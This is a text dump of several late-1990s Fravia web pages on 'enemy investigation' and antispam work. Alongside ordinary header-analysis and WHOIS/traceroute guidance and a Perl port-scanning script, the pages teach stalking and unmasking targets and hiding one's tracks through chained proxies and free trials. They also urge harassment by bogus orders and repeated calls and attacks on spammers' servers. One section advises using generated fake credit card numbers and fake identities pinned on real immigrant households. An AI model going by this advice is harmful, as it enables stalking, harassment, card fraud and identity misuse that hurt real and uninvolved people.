them), and DEFINITELY not worth investigating per se yet Balif's page deserves your visit if you want to learn how to
perform a thorough stalking work.

BTW, if you want to investigate an earlier stalking project, here you go with Brian's electel balif's plot, where, among other
things, you can also see what a good stalker gets out of a picture!

http://www.instinct.org/fravia/enemy.htm (8 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

__Enemy investigation__

Some other examples: if you are interested in stalking you'll always get quite interesting info from the 'antispammers' fronts:

http://www.blighty.com/products/spade/help/d_spam104.htm: Bill Mattock's stalking of a spammer.

http://www.blighty.com/products/spade/help/d_spam104.htm: Bill Mattock's stalking of a pyramid scheme.

SPUTUM: Spamkilling Personal Interface (Tactical, Enhanced) The three basic spammer types and how to stalk them. (This
is the fundamental tutorial on analyzing usenet headers!)

__Let's find out who__


Interesting various links

http://www.netmeg.net/faq/internet/net-abuse/troll-faq/ Gandalf's 'Dealing with Trolls'


search_forms (heavy)
search_forms (light)
http://www.warezfaq.org/indexx.html The warez faq, useful also for stalking purposes.
How to search
http://www.melsa.net/internet/tut11.htm How to avoid flaming.
Internet Address finder
Stalker page
http://www.anywho.com/telq.html: Reverse Telephone Search page

DejaNews, the ultimate stalking tool


http://www.supernews.com/index10.html, another stalking tool
http://www.reference.com, yet another one
http://www.talkway.com/usenet/, yet another one

Whowhere people finder


All1one people finder

__How to keep in exercise__

For a reverser, stalking can as much great fun as reversing software protections.
Next time you receive some spamming email DO NOT throw it away. Be cool, and try some of the tricks/techniques described
above to stalk the spammer. If you have time you may even try the 'go for it' trick: most spammers, even among the most
capable forging dudes, are infact trying to SELL you something, aren't they? There dwells the real weak point of these
assholes. Somewhere, at a given moment they have to give you either a real address or a real telephone number or whatever in
order for you to send them your money.
Fishing spammers can be real fun therefore, especially if you have time, patience, flair and a little dose of social engineering
capabilities.
Once you have them you can administer your favoured punishment, from denouncing them to their upstream ISPs supplying

http://www.instinct.org/fravia/enemy.htm (9 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

service (not always useful) to slowbomb them (until they change real address) with faked clients requests and bogus orders for
whatever product they sell (very funny and frustrating for them). This is also IMHO the best method to deal with pyramid
schemes: just let a dozen postmaster@[127.0.0.1] or whatever enter the scheme eh eh.
A word of advice: don't choose too dangerous gamebirds at the beginning: real nasty people can be quite dangerous on the net.
It is one thing to stalk a peaceful experienced troller, it is a completely different thing to stalk a ring of high-level protected
commercial paedophiles. Learn your stalking, luring and logical reversing ABCs first and don't go around shooting yourself in
your feet.

This section of my site, under perennial construction, was started on 15 november 1996
fravia's antispam related page

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/enemy.htm (10 of 10) [2/7/2001 3:00:41 PM]


statoo.htm: Enemy investigation: some simple stalking tools

Fravia's Anonymity Academy

Enemy
tracking
0) some simple
fravia's stalking tools
(Fravia shows you
G anonymity what you can do - or
try - and where you
O pages can learn some
advanced stalking
techniques)
T ~

C Enemy tracking

0) some simple stalking


updated
May 1999
Enemy tracking, a very difficult
art, can be divided into stalking,
reversing language patterns and
luring. In order to stalk you
H tools
1) General stalking
need a deep knowledge of Usenet
spamming (and war) techniques
techniques like flaming, trolling and

A 2) Reversing language
patterns
crossposting. A good reverser
can moreover easily
'reconstruct' (part of) the

! 3) Luring and social


engineering tricks
snailtrail of his enemies and
defeat their smoke curtains
applying some easy semantical
Fravia's Nofrill reverse engineering tricks.
Web design Finally the reverser will lure his
(98 ~ 99)
targets into the open web and
identify it.
0) Some simple stalking tools
1) General stalking techniques
1.1) Simple email stalking
techniques

http://www.instinct.org/fravia/statoo.htm (1 of 4) [2/7/2001 3:00:46 PM]


statoo.htm: Enemy investigation: some simple stalking tools

2) Reversing language patterns


3) Luring and social engineering
tricks

Well, clearly the 'anonimty lab' of my site needs a little re-ordering... this page, added in October 1998, is
due to the necessity of a single 'resources' page for the whole anonimty lab. I'll slowly modify and trim the
other sections, yet, grossomodo, my idea for each lab is to have a specific 'tools' page where you'll be able
to find all the relevant links and tools.

Let's begin with a few must know sites and/or tools


[traceroute] ~ [usenet] ~ [Telephone Directories]
[variae]

TraceRoute

(Cut and paste in the URL window and then replace XXX.YYY with your target domain name)

http://www.techmart.com/cgi-bin/trace.cgi?XXX.YYY

http://www.net.cmu.edu/bin/traceroute?XXX.YYY

http://www.missing.com/trace.cgi?XXX.YYY

http://www.eu.org/cgi-bin/nph-traceroute?XXX.YYY

http://www.tornado.be/cgi-bin/traceroute?XXX.YYY

http://www.luc.ac.be/cgi-bin/Research/LTI/traceroute?XXX.YYY

http://www.anime.net/linuxisp/traceroute.cgi?XXX.YYY

http://www.hartc.com/cgi-bin/nph-traceroute?XXX.YYY

http://absinthe.lightside.net/~fred/cgi-bin/nph-traceroute.cgi?XXX.YYY

http://www.instinct.org/fravia/statoo.htm (2 of 4) [2/7/2001 3:00:46 PM]


statoo.htm: Enemy investigation: some simple stalking tools

Base 10
No DNS
E-MAILRELAY CHECK
LOOKUP 20
DNS RECORDS Hops (35 max)
PING
HTTP HEADERS Enter Value:
TRACE
NETWORK LOOKUP
WWWHOIS 111.105.116.5
EXPRESS TRACE
Submit
help

Contact WHOIS servers using standard WHOIS commands:

111.105.116.5 WHOIS

whois.arin.net
Choose WHOIS server

Usenet

DejaNews ~ the ultimate stalking tool


http://www.supernews.com/index10.html ~ another stalking tool
http://www.reference.com ~ yet another one
http://www.talkway.com/usenet/ ~ yet another one

Telephone Directories

http://www.teldir.com/ ~ Telephone Directories on the Web


http://www.anywho.com/telq.html ~ Reverse lookup

http://www.instinct.org/fravia/statoo.htm (3 of 4) [2/7/2001 3:00:46 PM]


statoo.htm: Enemy investigation: some simple stalking tools

Variae

http://www.webdon.com/vitas/pswcalc.htm ~ online password


calcolator

Google (Very important inference tool because it has CACHED pages!)


Search the web using Google

Google Search I'm feeling lucky

http://home.clear.net.nz/pages/research/proxies.htm ~ all the proxies


you may need :-)
And if it fails, here is my own copy of the 1520 working proxies... eheh
:-)

fravia's antispam related page

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/statoo.htm (4 of 4) [2/7/2001 3:00:46 PM]


staltec1.htm: Enemy investigation: email stalking techniques

Fravia's Anonymity
Academy

Enemy
tracking
fravia's
Email stalking
anonymity pages techniques
G
(Fravia shows you
O Enemy tracking what you can do - or
T try - and where you
EMAIL STALKING can learn some
C TECHNIQUES AND
updated
September 1998
advanced stalking
techniques)
H DYNAMIC IPs

A ~
Enemy tracking, a very
! difficult art, can be divided
into stalking, "logical
Fravia's Nofrill
Web design reversing" and luring. In
(1998) order to stalk you need a
deep knowledge of Usenet
spamming (and war)
techniques like flaming,
trolling and crossposting.
Here you'll learn some simple
tricks in order to gather
information about your
target WITHOUT contacting
directly his website.

[1) scan the http server port for your target domain]
[1.1) a port scanning Perl script]
[1.2) get da relevant RFC]
[2) get servers list and operator names for your target domain]
[3) importance of a dynamic ip chain]

http://www.instinct.org/fravia/staltec1.htm (1 of 7) [2/7/2001 3:00:50 PM]


staltec1.htm: Enemy investigation: email stalking techniques

There are a couple of useful stalking tricks (in fact this approach is MUCH more anonymous than directly
browsing onto your target domains :-)...

1) TRICK TO SCAN THE HTTP SERVER PORT FOR YOUR TARGET


DOMAIN

This trick is useful to scan port 80 (or whatever :-) of your target (I'll use here fortunecity.com). Just use your
email program - of course one of your "free webaddresses" aliases (like yahoo.com) accessed through a
dynamic IP provider - onto an agora server in the following way:

TO: agora@ictp.trieste.it (or any other agora)


SUBJECT: nutting
-----------------------
BODY: send http://www.netcraft.com/cgi-bin/Survey/whats?\
host=www.fortunecity.com&port=80

Netcraft (not you) will scan the HTTP server port of your target domain, and you'll get the following answer
emailed to your alias:
www.fortunecity.com is running Apache/1.2.5.
Substitute a domain name of your choice to the www.fortunecity.com using the following schema (note the \
linebreak sign, because most email apps will else break your line arbitrarly)...:
send http://www.netcraft.com/cgi-bin/Survey/whats?\
host=XXXXXX.XXX&port=80
...and you'r done.
This will tell you the name of the server that is running your target web site, a very useful kind of
information for your anti-smut attacks and/or for your general stalking activities... as you'll understand
elsewhere on my pages.
Of course if you prefer to use your full Internet access you can use a port scanner. This will scan a domain IP
for all available ports and report the protocols they serve.

1.1) a little scanning Perl script

For those among you that don't know much about ports, here's a little Perl script:

#!/usr/local/bin/perl -w
# findport - find a server running at an unknown TCP port
# <title>findport.pl</title>
# Copyright (C) 1996 by John J. Chew

unshift(@INC, "$ENV{HOME}/lib/perl");

http://www.instinct.org/fravia/staltec1.htm (2 of 7) [2/7/2001 3:00:50 PM]


staltec1.htm: Enemy investigation: email stalking techniques

require 'getopts.pl';
require 'sys/socket.ph';

sub Usage {
die "Usage: $0 [-m] [-O] [-q] host [start-port]\n".
"-m allow multiple matches\n".
"-O try `obvious' ports\n".
"-q be quiet\n".
"";
}

&Getopts('mOq') || &Usage;
$#ARGV < $[ && &Usage;
$#ARGV > $[ + 1 && &Usage;
$#ARGV > $[ && $opt_O && &Usage;

($serverhostname, $serverportname) = @ARGV;


$serverportname = 7777 unless defined $serverportname;

@gObvious = (
# popular port numbers for MOOs
7777, 8888, 6666, 6969, 1234, 1701, 4444, 2112, 2499, 4000, 8000, 9595,
1138, 1359, 1709, 1848, 1961, 1975, 1996, 2000, 2001, 2029, 2345, 3000,
3175, 4201, 4242, 5000, 5678, 6464, 7000, 7007, 7200, 7700, 7878, 8080,
8889, 9000, 9020, 9030, 9040, 9999, 3434,

# other `obvious' numbers


1111, 1112, 1113, 1996, 1997, 1998, 1999, 2222, 2223, 2224, 3001, 3333,
3334, 3335, 3456, 4001, 4445, 4446, 4567, 5001, 5556, 5557, 6000, 6001,
6667, 6668, 6789, 7001, 7778, 7779, 7890, 8001, 9001,
);

sub die { die $_[0] unless $opt_q; exit 1; }

sub lint { $opt_m; }

$sockaddr_t = 'S n a4 x8';

($name, $aliases, $protocol) = getprotobyname('tcp');


socket(S, &PF_INET, &SOCK_STREAM, $protocol) || &die("socket() failed:
$!");

chop($clienthostname = `hostname`);
(($name, $aliases, $type, $length, $clientaddress)
= gethostbyname($clienthostname))
|| &die("gethostbyname($clienthostname) failed: $!");
$clientname = pack($sockaddr_t, &AF_INET, 0, $clientaddress);

http://www.instinct.org/fravia/staltec1.htm (3 of 7) [2/7/2001 3:00:50 PM]


staltec1.htm: Enemy investigation: email stalking techniques

bind(S, $clientname) || &die("bind() failed: $!");

(($name, $aliases, $port) = getservbyname($serverportname, 'tcp'))


|| ($port = $serverportname);
(($name, $aliases, $type, $length, $serveraddress)
= gethostbyname($serverhostname))
|| &die("gethostbyname($ARGV[0]) failed: $!");

$| = 1;
$port = shift @gObvious if $opt_O;
while (1) {
$servername = pack($sockaddr_t, &AF_INET, $port, $serveraddress);
print "$port" unless $opt_q;
if (connect(S, $servername)) {
print "\n\a" unless $opt_q;
print "$port is active.\n";
exit 0 unless $opt_m;
}
else {
print " ";
$opt_O ? (($port = shift @gObvious) || exit) : $port++;
close(S);
socket(S, &PF_INET, &SOCK_STREAM, $protocol) || &die("socket()
failed: $!");
bind(S, $clientname) || &die("bind() failed: $!");
}
}

1.2) Retrieve your relevant RFC!

If you want to know even more about ports, just retrieve RFC1060 to get a list of the assigned numbers. And
don't ask how d'you retrieve a RFC... you should already know it...
No? Well, per email, of course here is it:

To: RFC-INFO@ISI.EDU
Subject: [nutting: leave blank]
----------------------------------------------
Body: Retrieve: RFC
Doc-Id: RFC1060

The RFC1060 above is the "alfa and omega" of any good commercial_porn_sites buster,
this report on the parameters (i.e., numbers and keywords) used in protocols in the Internet
community belongs among your most coveted study materials! :-)
Retrieve it as I told you and, in the mean time, have a look at its contents.

http://www.instinct.org/fravia/staltec1.htm (4 of 7) [2/7/2001 3:00:50 PM]


staltec1.htm: Enemy investigation: email stalking techniques

RFC 1060: Table of Contents

INTRODUCTION.................................................... 2
Data Notations.................................................. 3
Special Addresses............................................... 4
VERSION NUMBERS................................................. 6
PROTOCOL NUMBERS................................................ 7
PORT NUMBERS.................................................... 9
UNIX PORTS......................................................13
INTERNET MULTICAST ADDRESSES....................................19
IANA ETHERNET ADDRESS BLOCK.....................................20
IP TOS PARAMETERS...............................................21
IP TIME TO LIVE PARAMETER.......................................23
DOMAIN SYSTEM PARAMETERS........................................24
BOOTP PARAMETERS................................................25
NETWORK MANAGEMENT PARAMETERS...................................26
ARPANET AND MILNET LOGICAL ADDRESSES............................30
ARPANET AND MILNET LINK NUMBERS.................................31
ARPANET AND MILNET X. 25 ADDRESS MAPPINGS.......................32
IEEE 802 NUMBERS OF INTEREST....................................34
ETHERNET NUMBERS OF INTEREST....................................35
ETHERNET VENDOR ADDRESS COMPONENTS..............................38
ETHERNET MULTICAST ADDRESSES....................................41
XNS PROTOCOL TYPES..............................................43
PROTOCOL/TYPE FIELD ASSIGNMENTS.................................44
PRONET 80 TYPE NUMBERS..........................................45
ADDRESS RESOLUTION PROTOCOL PARAMETERS..........................46
REVERSE ADDRESS RESOLUTION PROTOCOL OPERATION CODES.............47
DYNAMIC REVERSE ARP.............................................47
X.25 TYPE NUMBERS...............................................48
PUBLIC DATA NETWORK NUMBERS.....................................49
TELNET OPTIONS..................................................51
MAIL ENCRYPTION TYPES...........................................52

2) TRICK TO GET SERVERS LIST AND OPERATOR NAMES FOR YOUR


TARGET DOMAIN

Now let's say you want some more info about WHO ARE the people that have registered your target server,
then simply use once more an agora and query with:
send http://www.switch.ch/cgi-bin/info/whois?Query=fortunecity.com\
&Server=whois.internic.net
And thou shall get the following:
Results from WHOIS server whois.internic.net for query: fortunecity.com

http://www.instinct.org/fravia/staltec1.htm (5 of 7) [2/7/2001 3:00:50 PM]


staltec1.htm: Enemy investigation: email stalking techniques

--------------------------------------------------------------

FortuneCity.Com Ltd (ASKRIGG-DOM) ASKRIGG.COM


FortuneCity.Com Ltd (FORTUNECITY4-DOM) FORTUNECITY.NET
FortuneCity.Com Ltd (FCMAIL-DOM) FCMAIL.COM
Software Direct (FORTUNECITY-DOM) FORTUNECITY.COM

To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.
Now, as you have read, you must be patient (the foremost quality of a good stalker): let's go on with what
they asked:
send http://www.switch.ch/cgi-bin/info/whois?Query=!FCMAIL-DOM\
&Server=whois.internic.net
And now we'll get a wealth of stalking information:
Registrant:
FortuneCity.Com Ltd (FCMAIL-DOM)
140 Offord Road,
Islington London., N1 1PF
UK

Domain Name: FCMAIL.COM

Administrative Contact:
Metcalfe, Dan (DM10032) dan@FORTUNECITY.COM
0171 700 1617 (FAX) 0171 609 2815
Technical Contact, Zone Contact:
Donnahoo, Lee (LD2352) lee@COMMTOUCH.COM
408-245-8682 (FAX) 408-245-3466
Billing Contact:
Metcalfe, Dan (DM10032) dan@FORTUNECITY.COM
0171 700 1617 (FAX) 0171 609 2815

Record last updated on 29-Apr-98.


Record created on 24-Feb-98.
Database last updated on 16-Sep-98 04:13:51 EDT.

Domain servers in listed order:

PRONTODNS.PRONTOMAIL.COM 209.185.72.9
NS1.INFORMAIL.COM 207.135.122.6
NS3.EXODUS.NET 206.79.240.13

Of course you should perform the same query for all other addresses you got (ASKRIGG.COM etcetera...)

http://www.instinct.org/fravia/staltec1.htm (6 of 7) [2/7/2001 3:00:50 PM]


staltec1.htm: Enemy investigation: email stalking techniques

3) IMPORTANCE OF A DYNAMIC IP CHAIN

And the really funny thing is that you have NOT directly connected neither netcraft.com nor internic.net
from your real net-access provider. You went through a "tier" procedure like this:

YOUR_FREE_DYNAMIC IP -> YOUR_FREE_EMAIL_WEB_PROVIDER -> INTERNIC ->


TARGET_SERVER

Hope you understand what a dynamic IP is: it is the Web_access offered by AOL, Compuserve, whatever.
Of course it is de facto You'll find plenty of 2 months trial for free. You'll find plenty of 'trial' offers on every
magazines' CD-Rom, and of course you'll bnever confirm the contract at the end of the trial period: just
discard and begin (a week before the trial end) another free-trial with another dynamic provider. (Ask for
permission and then use your friends/colleagues/parents/grocers name and addresses if needed, you can carry
on 50 years like that :-) Now, the point is that all great providers will connect you to the web through ONE of
their many servers. This specific IP (for instance 212.211.27.146 for compuserve) will change EVERY
TIME you access your provider, and it is very difficult to track down. Add to this the fact that the free email
address hosting services (like yahoo.com, hotmail.com etcetera) use a plethora of different servers as well,
and you'll udnerstand that tracking back your own stalking activities (especially if you have followed my
advices and done them through an agora server) will be a nightmare even for a determined government
agency! Not that it couldn't be done at all, mind you, yet it would require the collaboration of so many
different entities (and it would violate so many privacy rules) that I consider it extremely unlikely that your
average targeted smut-side will ever be able to understand what's going on under his nose :-)

For added security yuou can of course configure A CHAIN of free web_email_providers that you have
instructed to resend automatically everything they get to the next one, where the last one has been instructed
to query ALWAYS an agora server with the content it gets.

Hope you understand the possibilities this open to your stalking activities in general (remember that agoras
accept only THREE commands: SEND, DEEP and SOURCE (for an explanation see fravia's how to search
lessons. Here the main agoras you'll use:
[british agora] ~ [italian agora] ~ [nippon agora]

This section of my site, under perennial construction, was started on 23 september 1998
fravia's antispam related page ~ fravia's antismut related pages

homepage links +ORC bots wars students' essays counter measures


bots wars academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/staltec1.htm (7 of 7) [2/7/2001 3:00:50 PM]


http://www.instinct.org/fravia/howtosea

http://www.instinct.org/fravia/howtosea [2/7/2001 3:00:53 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

Spammers are the


quintessence of evil: they
are stupid and greedy,
they are commercial
oriented, they don't
understand nothing that
Fravia's has real value and,
moreover, they annoy us
antispam with their commercial
stupidity

S section Therefore let's retailate


~ and try to
P Advices
Updated
End July 1998 a) annoy them (easy: for
beginners)

A b) stalk them and find


their real identities in
order to annoy them in a
M "less virtual" way
(possible: for intermediate
Fravia's Nofrill antispammers)
Web design
(1998) c) destroy their servers or
email addresses (can be
difficult: for advanced
spammer haters)

HONEST WARNING
I'm not a "professional" antispammer myself... if you're really into this, you better visit a "best
knowledge" dedicated site (Julian Byrne's) at http://kryten.eng.monash.edu.au/gspam.html, that I have in
part ripped off, and you better learn the best techniques by the Spam hater (His page will help you a lot to
make things HOT for stupid spammers).

Yet I'm a master reverser and a fairly good stalker, and my own techniques, coupled to the antispammer
knwoledge, can give some ineteresting results, as you'll be able to read either on this very page or, may
be, on my enemy.htm stalking page.

http://www.instinct.org/fravia/pageadvi.htm (1 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

Byrne's Instructions
1. Step one is to look at all the headers of the message. News/email readers normally show only a
subset of the available headers to avoid screen clutter. Select the option that makes the hidden
headers visible. In Netscape select Options/Show all headers, in MSWIN Pegasus press ^H, in
Pine press H, in VM press t and in NewsExpress select File/ Options/ Compose/ Include
Headers. Other news/email readers have similar options.
2. Important headers are:
From:

Sender:

X-Sender:

Reply-To:

Errors-To:

Return-path:

Message-id:

Path:

Received:

All contain a network host name that may give you a clue as to who the spammer is. However, any
or all of them may be faked. It is common for spammers to send email from a throwaway account
at one site and solicit replies at other sites, so you may need to track down two or more network
locations. Make a list of all host names mentioned in the headers and in the body of the message.
These are the parts to the right of the @ sign in email addresses, between // and / in web links, in
the last Received: header and at the right end of the Path: between !'s.
Path: gives the list of hosts a news item passed through, from the poster's site at the right end to
get to your site at the left end. One or more entries on the right end may be faked so you may need
to cooperate with others to track down which host in the Path: list the message was injected at.
Like the Path: header Received: headers are a list of sites the message passed through in reverse
order but with only one host name per header. Again, the bottom entries (earlier timewise) in the
Received: list may be faked. It is also possible for spammers to relay email via a third party so that
the Received: header before your site's Received: headers may be a victim too. They're slack
though as they should've configured their mail servers not to relay third party email. Some
spammers also pretend to be innocent relay sites by forging additional Received: headers and
lying in response to complaints; complain to the so-called `relay' site's ISP if you suspect this is the
case.
Since intermediate sites always prepend headers then those higher in the list are much less likely
to be forged than those further down.
Even with normal, non-faked operation not all hosts or network routers a message passes through
are recorded in the Path: or Received: headers. Use TRACEROUTE to get a more complete list.

http://www.instinct.org/fravia/pageadvi.htm (2 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

3. Host names usually have machine name and domain name parts. For example
kryten.eng.monash.edu.au has a machine name of kryten and domain name of
eng.monash.edu.au (engineering faculty, monash university, education sector, australia) with
larger domains monash.edu.au, edu.au and au. Look at your list of host names and see if you can
add some local domain names to the list by stripping machine names from host names. This is a
trial and error procedure and may not always give a valid result.
4. Some of the host/domain names you've discovered may actually be a numerical network IP
address eg. kryten's is 130.194.140.2. See in my links page how to find a host name given an IP
address and how to find an IP address given a host name. Add any new host/domain names
discovered to your list. IP addresses can have zero, one or several host names. Host names can
have zero, one or several IP addresses.
Some hosts and domains designate one or more hosts to handle any email directed to them. Use a
tool like the freeware (actually postcardware) and very good CyberKit (copyright 1996 by Luc
Neijens, Luc, you are invited to dinner by fravia+ :-) to find out if there are any such hosts.
5. DIG queries domain name servers for information about the host/domain names you've found. It
gives a mess of information, most of which you can ignore. You're not normally interested in
addresses associated with the site where DIG was run (in this case ?.monash.edu.au and
130.194.?.?) and you're also not interested in the NS and other records of the name servers that
supplied the information, just the info related to the host/domain you queried. This is in the ;;
ANSWERS: section and is the A internet IP address records, the MX mail exchanger records and
the PTR pointer to host name records. If they don't exist then the ;; ANSWERS: section will be
empty or non-existent. The ;; AUTHORITY RECORDS: and ;; ADDITIONAL RECORDS:
sections tell you what domain name server[s] are responsible for the part of the domain name
system (DNS) you have queried.
Any email sent to the queried host/domain will initially go via one of the hosts given by the MX
records if they exist, otherwise it will go to the host given by the A record. If there are no MX and
no A records then email will normally bounce. The MX and A host names may be in completely
different domains. Add any new domains to your list.
If an IP address has no corresponding hostname the SOA `start of authority' record can be used to
see which hosts/domains are responsible for that part of the net. Internic.net is responsible for
unallocated addresses so if you get this it usually means the queried IP address is faked or in error.
If there is no SOA record try doing a DIG ipaddress->hostname on another IP address which is in
the same subnet as the one you're interested in ie. vary the last number from 1 to 254. eg. For
130.194.140.37 you might try 130.194.140.66. Some machines are configured by accident or by
design to not reveal who is responsible for them. Alternatively, look for the owner of the subnet by
stripping off one or more right elements (eg. 130.194.140.2 -> 130.194.140 -> 130.194 -> 130).
6. Use Cyberkit's WHOIS to find the administrative and technical contacts for the hosts/domains/ip
address ranges you've discovered. This will give more contact information including email
addresses. If there is more than one WHOIS entry for the domain you've entered you'll get a list of
abbreviated entries. To get full information use an entry's key as a query string (eg. mci.net gives
keys MCI8-HST and MCI2-DOM). Add the host/domain names of the email addresses to your list.
You may need to strip off one more left elements of each domain before you get a domain that

http://www.instinct.org/fravia/pageadvi.htm (3 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

WHOIS knows about (eg. eng.monash.edu.au -> monash.edu.au -> edu.au -> au). Similarly,
you may need to strip off one or more right elements of each IP address range before you get an IP
address range that WHOIS knows about (eg. 130.194.140.2 -> 130.194.140 -> 130.194 -> 130).
WHOIS also knows about company names and some user names. This WHOIS covers US
non-military domains only. For other domains see other WHOIS servers.
7. Use Cyberkit's TRACEROUTE to get a list of sites handling messages between this web server
host and each of the host/domain's. This can take several minutes. Ideally it should be from your
mail host but this should do. Alternatively, if you're running MSWindows 95 it comes with a
TRACEROUTE; run TRACERT in an MSDOS window. The last entry in the TRACEROUTE
results list should be the host/domain you're querying. The next-to-last should be the Internet
Service Provider (ISP) for your queried host/domain. The next-to-last for that ISP is their ISP and
so on. More than one host at the end of the list may be owned by the spammer and so you need to
use some judgement as to whether, when you send email to one of the hosts, you're talking to the
spammer or their ISP. Add the hosts at the end of the list together with their domains to your
host/domain list. This TRACEROUTE will have trouble if the test link is heavily loaded (likely
during Australian working hours). If so you could try other web TRACEROUTE's.
It is possible but rare for a spammer to forge the response to a TRACEROUTE so that sites later
in the list may be deceptive. If you suspect this is the case you will need to complain to all the
upstream ISP's as only they can determine where the forgery starts.
8. Use a web search engines to look for references to the domain names you've found. Look for
`domain' and `www.domain' Virtually all ISP's have web sites like this and you can use the web
pages to get some idea of whether it's actually the spammer or the ISP, together with the size,
contact addresses and the email/news policy of the ISP. In addition if it's a .net domain try a .com
domain and vice-versa; many companies use both. Be careful though as there are also many
completely unrelated companies using domain names differing only in the .net and .com ending.
You can check by looking at the WHOIS contact information and the IP addresses.
You can also use a altavista or Deja news to find out other information about your target spammer.
9. You should now have a list of hosts and domains with a fair idea of the spammer's addresses and
their ISP's addresses. Send an email to the spammer's ISP (this may or may not have the same
domain name as the spammer themselves) using the abuse@ address and a copy to the spammer
themselves. In the message include a copy of the spam with full headers, detail the reasons why
you find the spam unacceptable and request that they not do it again. If abuse@ bounces send the
message to admin@, root@ or postmaster@ and additionally ask them to configure an abuse@
address which forwards to their person responsible for handling net abuse. If the email addresses
aren't working you could try a fax gateway or check out the email search FAQ.

10. Large ISP's will generally not reply to you because they're too busy but if they receive enough
complaints (and if they are full of spammers they usually do) it is likely the spammer will be dealt
with. Most ISP's are good net citizens because it's in their own interest to maintain a good
reputation. If you see the spam again send another message but this time post a copy of the spam
with full headers to the news.admin.net-abuse.sightings newsgroup and let the experts have a go.
You may also want to email the ISP of the ISP. You should read the news.admin.net-abuse.*

http://www.instinct.org/fravia/pageadvi.htm (4 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

newsgroups for a week or two to get a feel on how spammers operate and are dealt with. Be
warned that these newsgroups include plenty of argumentative and intentionally deceptive and
disruptive posts from spam supporters in addition to posts from people trying to reduce spam. Life
is fight.
A final warning: Any message on the internet which doesn't use strong encryption/authentication
techniques like PGP can be completely fake. Any text you read can be ripped off another site without any
notice of it. Great part of the preceding text, and part of the following has been RIPPED OFF the very
good (if a little too much USA oriented) page of Julyan Byrne, at
http://kryten.eng.monash.edu.au/gspam.html. (Yet I have already added material of mine and I intend to
add even more in the near future).

So what people tell you and what really goes on are NOT THE SAME THING! Head this!

Occasionally enemies on the net attack each other by tricking a third party into doing their dirty work for
them. Treat any address you get with suspicion until proven otherwise.

Some easy tricks to annoy the stupid commercial spammers


The 127.0.0.1 trick
When posting news items on usenet use one of the following From: or Reply-To: addresses:
root@[127.0.0.1]

root@localhost

webmaster@[127.0.0.1]

webmaster@localhost

bounce@[127.0.0.1]

bounce@localhost

postmaster@[127.0.0.1] (*)

postmaster@localhost

[127.0.0.1] and localhost are often synonyms for `the current host'. If you're lucky the bounce addresses
will cause a bounce on the sender's machine as it tries to deliver to the non-existent user bounce. The last
two addresses will cause the spam to be delivered to the email administrator of the machine sending the
spam. The first four will have analogouos effects. If you're lucky that will be the ISP and not the
spammer themselves. So that you can be contacted make sure your posting body includes a signature that
gives your true email address, perhaps in encoded form to confuse automated address collectors that scan
news article bodies as well as article headers.

The simplest system seems tome to be the use of (at) and (point) inside the addresses, so that your
JohnHSmith@mymail.com will be "translated" as JohnHSmith(at)mymail(point)com... even complete
idiots should be able to understand this, at least I hope :-)

http://www.instinct.org/fravia/pageadvi.htm (5 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

Let the stupid commercial spammers pay and stalk their real
identities at the same time!
Letting them pay is always great fun, valid also for non-spam commercial advertisements... :-)

If the spam includes a freecall 800 phone number (States) or a 'green' number (European Union) then,
by all means, use it. They are paying for that number and this transfers the costs where they belong. Keep
in mind that freecall numbers frequently use unblockable caller-id to get the caller's phone number so
you may want to freecall from a public phone. Repeatedly dial these phone numbers as this is NOT
illegal if you have forgotten to ask them something :-)
Just keep handy a list of freecalls spammers number and use it as soon as you have to wait for a plane or
a train or someone or else you happen to have some free time where there are some public phones
Be wary of non-freecalls numbers, as some area codes that are apparently local are actually international
and have exorbitant charge scams associated with them... all probmlems will be avoided if you use a
public phone.
This technique is themost elementary technique used in order to stalk the spammers: act like an
ineterested client in whatever the stupid spammer would like to sell, and get (social engineering
elementary techniques, of course) real info out of them, inputting to them totally faked info and data. It's
very easy, as you will see, and you'll get them. You'll annoy them just calling, but if you enjoy going the
whole way, then do prepare some valid amexco/visa card numbers (you'll find on the web as many fake
credit card numbers generators as you want) and have a couple of credible faked identities (best ones are
'immigrant' identities: when you fake an address and that address (and the telephone number you have
given) are possibly going to be checked, use some name (and people) like 'Wong' or 'Kiczielsky', or
'M'bungo' and give address (and corresponding telephone) in a huge house full of people that barely
speak English (or German, or Italian, or whatever you are siupposed to speak). You'll find a lot of these
'anonymity baits' with a little social engineering. Such 'refugees' decoys are the best thing you can use
when you are covering your tracks and/or faking addresses: confronted with a family of 25 immigrants
that do not speak the country language nor understand what the cuckoo is going on, the card society
agents themselves won't be able to understand if there was -or not- any malicious intent :-)

Ok, now you have your target, a fake credit card and a fake (yet existing) identity... order everything they
sell and let them deliver it to some impossible address, like your local police station, an abandoned
building or another spammer's real address (this is the most funny destination IMHO)

Some scarecrow rhetoric can also be helpful...


This is the kind of message you may want to append...

Unsolicited commercial e-mail will be proof-read with the help of the mailer, his postmaster, and if
necessary, his upstream provider(s).
The sender of any unsolicited email sent to this address agrees to pay EURO 350/email for
proofreading services.
Any junk email sent to this address will be placed in my junk email blacklist. Sender agrees to pay

http://www.instinct.org/fravia/pageadvi.htm (6 of 8) [2/7/2001 3:00:59 PM]


pageadvi.htm Fravia's antispammer pages: main entrance

EURO 65 for each such email archived.


Our organisation will take care of spam email trying either to blow the spam mailer's hosting server to
